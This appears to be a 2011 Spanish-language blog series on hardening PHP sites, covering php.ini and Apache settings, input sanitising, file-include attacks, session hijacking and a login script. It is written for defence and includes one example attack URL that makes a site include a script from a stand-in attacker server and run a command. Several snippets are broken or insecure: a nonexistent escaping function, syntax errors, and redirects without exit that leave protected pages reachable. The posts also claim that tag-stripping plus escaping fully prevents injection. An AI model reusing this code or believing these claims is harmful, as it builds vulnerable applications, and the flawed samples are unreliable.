Muchos desarrollos requerirán de un sistema de sesiones donde tenga que haber un logeo para acceder a información privilegiada, con las vulnerabilidades vistas antes y ya resueltas, podemos hacer nuestro sistema de login con confianza, bien lo primero es propiamente la pagina de login.

en esta deberás separar por un lado el html y por el otro el script php que hara la validacion de modo que te quedaría algo parecido a esto:

login.html

 <form action="valida.php" method="post">
     <input type="text" name="usuario"/>
     <input type="password" name="pass"/>
     <input type="submit" name="ok" value="Acceder"/>
 </form>


evidentemente lo anterior podría fortalecerse con un fingerprinting que ya también se vio en el post anterior y con ello asegurar que los datos que nos llegan son de nuestro formulario legitimo y por el otro lado el script valida.php

include_once("path/config.php"); //el config que creamos en el post anterior en caso de no                                      //haber podido configurar el php.ini

$con=mysql_connect("localhost","uno que NO sea root","un buen password");

// realizamos la conexión primero que nada ya que la función siguiente requiere de una        //conexión y luego recibimos los datos por post>

$us=mysql_real_escape_string(strip_tags($_POST['usuario']));
$pass=mysql_real_escape_string(strip_tags($_POST['pass']));

/*realizamos la correspondiente comparación de usuario y contraseña en la base de datos
...
  ya que realizamos la comparación y sabemos que si es el usuario correcto entonces         procedemos a inicializar el manejador de sesiones, regeneramos el id de sesion y creamos una variable para verificar que se inicio sesión */

if(usuario_validado){>
     session_start();
     session_regenerate_id(true);
     $_SESSION['iniciosesion']=true;
     Header("Location: usuarios.php");
}else{
       Header("Location: login.php");
}


En el código anterior la función mysql_real_escape_string requiere de una conexion que ya establecimos y previene sql injection ademas strip_tags previene php o html injection, posteriormente de haber realizado la correcta validación, en todas las paginas donde usaremos sesiones o son de acceso solo a usuarios validados, debemos hacer lo siguiente al incio:

include_once("path/config.php"); //el config que creamos en el post anterior en caso de no                                      //haber podido configurar el php.ini
session_start();
session_regenerate_id(true);
if($_SESSION['iniciosesion']!=true){
     $_SESSION=array();
     session_unset();
     session_destroy();
     $parametros_cookies = session_get_cookie_params();
     setcookie(session_name(),0,1,$parametros_cookies["path"]);
     Header("Location: no_inicio_sesion.php");
}


Con lo anterior nos aseguramos de que el usuario haya iniciado sesión y en caso de que no entonces destruye la que creo y lo manda de nuevo al login.

Bueno espero que les haya sido de utilidad, ya con esto terminamos la serie de post dedicados a la seguridad php, la próxima veremos como optimizar el código.

Saludos.

viernes, 14 de octubre de 2011

php seguridad programacion (parte 3)

Hola a todos, en los post anteriores vimos como configurar no solo PHP si no también Apache, y para los que usan IIS vimos un index que nos protegía el acceso a una carpeta prohibida, ahora toca el tema mas engorroso y difícil, la programación, aqui es donde la marrana tuerce el rabo y es que muchos programadores dejan al ultimo este tema ya después de haber echo el trabajo (a mi me paso XD) los factores que tienen que tomar en cuenta son básicamente tres:

1.- asume que lo que pienses que el usuario no hará sera lo primero que hará al entrar en tu sitio ya que lo que no esta explicita mente prohibido esta permitido (las maquinas obedecen ciegamente), piensa que siempre estas en guerra y que tus usuarios intentaran  hacer caer tu sitio (paranoico pues si, pero es mejor prevenir que lamentar).

2.-cuida tus entradas, mucho de los ataques (code injection,RFI) son posibles ya que no se sanitizan los datos provenientes de los usuarios.

3.-las sesiones son secuestrables en php, si no se toman medidas preventivas, ademas de un correcto sistema de login.

JAMAS creas que tus usuarios serán unas niñitas inocentes y simpáticas que no rompen ni un plato, jeje
 <--

ok entrando en materia lo primero (si vas a recibir datos de parte del usuario) debes limpiar las variables, ejemplo:

 <form action="xpagina" method="POST"><!--siempre usa post nunca get-->

      <input type="text" name="var1"/>
 </form>



de este form obtendremos la variable var1 la cual debemos limpiar de la siguiente forma:

$variable_limpia=strip_tags($_POST['var1']) //solo elimina html y php

$variable_limpia=mysql_real_string($_POST['var1'] //evitamos sql code injection
$variable_limpia=mysql_real_string(strip_tags($_POST['var1']))


con lo anterior podemos estar tranquilos que no ocurrirá un code injection, ahora vamos con otro detalle y que suele ocurrir y es el RFI (Remote File Include) es decir puede pasar que incluyamos scripts php con la funcion include pero a la espera de una respuesta del usuario por ejemplo:

include_once($page); //$page viene de una entrada por url por ejemplo http://mi.servidor.com/index.php?page=pagina_buena.php
//el atacante podria usar http://mi.servidor.com/index.php?page=servidor.atacante/script_malisioso.txt&&cmd=ls


para evitarlo simplemente debemos usar estructuras de decisión y nunca  ni por url es decir:

if($page==1){
    include_once("pagina_buena.php");
}else{
    ...
}
 //o en su defecto usar esto en la inclusión
if($page=="pagina_buena"){
    include_once($page.".php");
}


con lo anterior tenemos cubierto este aspecto, ahora vamos con el manejo de sesiones, para evitar el secuestro de sesiones por XSS (cross site scripting) ya anteriormente vimos como configurar el interprete de php para que no pueda ser accesible la cookie por javascript (por lo que el atacante no sera un vulgar lammer o script kiddie y tendrá que tener mejor nivel para intentar atacarnos)

pero ademas complicamos el id de sesión con sha1 de 160 bits para evitar que la adivinen por force brute (aunque podemos usar algoritmos mas complejos como haval usando la funcion hash_algos() que nos dira que algoritmos soporta nuestro php y meterla en la directiva que ya vimos  "session.hash_function") entre otras cosas que hicimos y para rematar podemos usar lo siguiente en nuestros scripts:

session_regenerate_id(true); //con esto indicamos al servidor que regenere la cookie y el id de sesion, borrando la anterior con esto se lo ponemos muy dificil a quien intente secuestrar la sesion

con el código anterior y usándolo lo mas a menudo posible durante todo nuestro sitio podemos estar tranquilos, pero hay un pero valga la redundancia jeje y es que en ocasiones pierde la sesion, ustedes sabrán en que paginas no usarlo lo tienen que experimentar. Entre otras recomendaciones están la de siempre almacenar los datos de acceso a BBDD en constantes y no en variables y separar en capas el acceso a datos y por otro el manejos de datos (2 archivos diferentes), también podemos usar finger printing en nuestros formularios, ejemplo:

session_start();
if (!isset($_SESSION[‘sesion_iniciada'])) {
    session_regenerate_id(); // Ejemplo de regeneración de ID
    $_SESSION[‘sesion_iniciada'] = true;
    if (isset($_POST[“token”] && $_POST[‘token'] == $_SESSION['token']) {
       // Procesar el formulario …
    }
}
$token = md5(uniqid(rand(), true));
$_SESSION['token'] = $token;

<form method="POST">
<input type="hidden" name="token" value="<?php echo $token; ?>">
<input type="text" name="message">
</form>


con esto aseguramos que los datos vienen de nuestro formulario legitimo, finalmente el tema del login, que puede irse todo al carajo si no tenemos un login correcto.

pero de esto hablare en la siguiente entrega, por lo mientras hasta luego

lunes, 10 de octubre de 2011

Php seguridad, como configurar (parte 2)

En el post anterior vimos el escenario donde no tenemos acceso al servidor, pero ahora vamos a ver el caso en el que si.

Buscamos el archivo de configuración de php o sea el famosísimo php.ini, en el haremos la siguiente configuración:

;desactivamos los errores
display_errors = Off
session.save_path = "cambiamos a otro"
;activamos el uso de cookies
session.use_cookies = 1
;forzamos el uso de cookies para el id de sesion
session.use_only_cookies = 1
;le cambiamos el nombre a la cookie
session.name = usamosotronombre
;evitamos que la cookie pueda ser accesada desde java script
session.cookie_httponly = 1
;cambiamos el valor de la probabilidad de que el garbage collector se inicie
session.gc_probability = 10
session.gc_divisor = 100
;reducimos el tiempo de vida de la basura (datos) del garbage collector
session.gc_maxlifetime = 600
;cambiamos el algoritmo de generacion de id de sesion por el sha1(160bits)
session.hash_function = 1 ;aunque podemos usar cualquier otro de la lista que muestra la funcion hash_algos()


Obviamente buscamos dichas directivas y les cambiamos el valor (NO las agregamos). Ahora hacemos lo mismo que en el post anterior creamos archivos .htaccess para restringir el acceso y/o el uso de index que redireccionen a la zona correcta de nuestro sitio.

 Ahora buscamos el archivo de configuración de nuestro servidor apache el también  famosísimo  httpd.conf y modificamos el siguiente código:

<Directory />
Options –FollowSymLiks -Indexes -ExecCGI AllowOverride None
Order deny,allow
Deny from all
</Directory>


También podemos optar por tratar los archivos *.inc y como archivos php, al agregar la extensión en la sección <IfModule mime_module> la extensión "AddType application/x-httpd-php .inc". Así como denegar el acceso de los mismos desde apache, con:

<Files ~ “\.inc$”> 
Order allow ,deny
Deny from all
</Files>


En la tercera entrega veremos la parte mas extensa pero la mas determinante a la hora de mejorar la seguridad de nuestro sitio y se trata de nuestras costumbres de programación, veremos lo que no debemos hacer y lo que si debemos hacer, para que nuestras aplicaciones sean seguras aunque ojo no invulnerables pero se lo pondremos tan difícil al cracker que tendría que ser un genio de talla internacional para hackear nuestra web jejeje bueno tal vez no tanto, hasta la próxima.

viernes, 7 de octubre de 2011

Php Seguridad, como configurar (parte 1)

Mucho se habla de que php es vulnerable a muchos tipos de ataque, y yo creo que si, así que mejor nos cambiamos a asp no? XD es broma.

Lo mas difícil es cuando eres el desarrollador de sistemas y cuando hay un fallo o atacan el sitio el responsable eres tu, así que debes tener cuidado y peor es cuando al mismo tiempo eres el administrador de sistemas, en cuyo caso felicidades eres un brown eater XD, no también es broma.

Bueno ya en serio esta es la primera entrega de 3 en donde les mostrare algunas técnicas de seguridad que si bien no son la panacea a este problema si ayudan a mitigar severamente los agujeros de seguridad que no son propiamente atribuibles al lenguaje en muchas ocasiones es al administrador del sistema o al programador, hay dos posibles escenarios, el primero donde NO tengamos acceso a la configuración del servidor (que si no sabes que es no se que haces aquí) y el segundo pues obvio donde SI.

Ok en el primer escenario y si vamos a usar variables de sesión que tiene que ser así (otras alternativas para la persistencia de datos, no son optimas y suelen ser mas inseguras) ya que una aplicación php sin variables de sesión no llegara muy lejos ni sera potente, pero tiene un defecto y es que son secuestrables lo que se conoce como stealing cookie por medio del xss (cross-site scripting) por lo que JAMAS debemos enviar el id de sesión por url en otra ocacion hablaremos mas a ddetalle estas vulnerabilidades, ok entonces debemos crear un archivo de configuración una especie de config.php que deberá incluirse siempre en nuestros scripts que vayan a usar variables de sesión, las directivas que debemos afectar son:

 error_reporting(0); //con esto evitamos que se muestren los errores
  ini_set("expose_php",0); //evitamos mostrar demasiada informacion sobre nuestro servidor a los atacantes
  ini_set("session.save_path","path a donde el servidor guardara las sesiones");
  ini_set("session.name","cambiar el nombre de la cookie");
  ini_set("session.gc_probability",10);//aumentamos la probabilidad de que el garbage collector se incie
  ini_set("session.gc_divisor",100);
  ini_set("session.cookie_httponly",1); //la cookie no podrá ser accesada por javascript
  ini_set("session.hash_function",1); //con esto usara sha1 como generadora del id
  ini_set("session.use_cookies",1); //activamos el uso de sesiones por cookies
  ini_set("session.use_only_cookies",1); //obligamos a guardar el id de sesion en cookies
  ini_set("session.gc_maxlifetime",600); //reducimos el tiempo de duracion de la basura
  ini_set("session.cache_expire",int tiempo en minutos); //de la duracion de la sesion


por supuesto después de estas lineas de código debes usar session_start() que se encargara de iniciar el manejador de sesiones de php.

Por otro lado y esto ya no es por parte de php, pero no esta demás y si tienes servidor apache, generalmente la mayoría de los hosting te permitirán subir archivos .htaccess o si trabajas en sistemas exígele al administrador de sistemas si es que es un tipo no muy competente que configure y suba archivos .htaccess al sitio donde quedara tu web de forma que no se pueda acceder mas que localmente a los directorios donde tengas tus script sensibles, así solo el interprete podrá acceder a los scripts y no un navegador, el archivo tendrá un aspecto parecido a este:

 Order deny,allow
Deny from all
  Allow from localhost
 


Pero si es IIS entonces deberemos crear un archivo index.php que redireccione y saque del directorio que no quieres que vean al index correcto.

header("Location: ../home/index,php");

En la segunda entrega hablaremos del otro escenario donde tenemos el control del servidor y lo cual es mucho mejor aunque recae mas responsabilidad

miércoles, 5 de octubre de 2011

Primer post

Hola a todos este es el primer post de este blog que espero sea de su agrado pero sobretodo de mucha utilidad, aquí trataremos temas como howtos, opiniones, noticias y mas del apasionante mundo del desarrollo web, muy enfocado a la programación aunque también se tratara el tema de diseño.

Se trataran diversos lenguajes, técnicas, comparativas, tips, trucos y consejos y así conseguir un desarrollo mas efectivo, estará enfocado a desarrolladores noveles aunque también los mas avanzados pueden sentirse libres de aportar y se les estará muy agradecido.

También habrá un especial énfasis en Python con una configuración especial que en lo personal me gusta mas que Java con todo y sus servlets, ya les hablare después de ello.

Que lo disfruten :)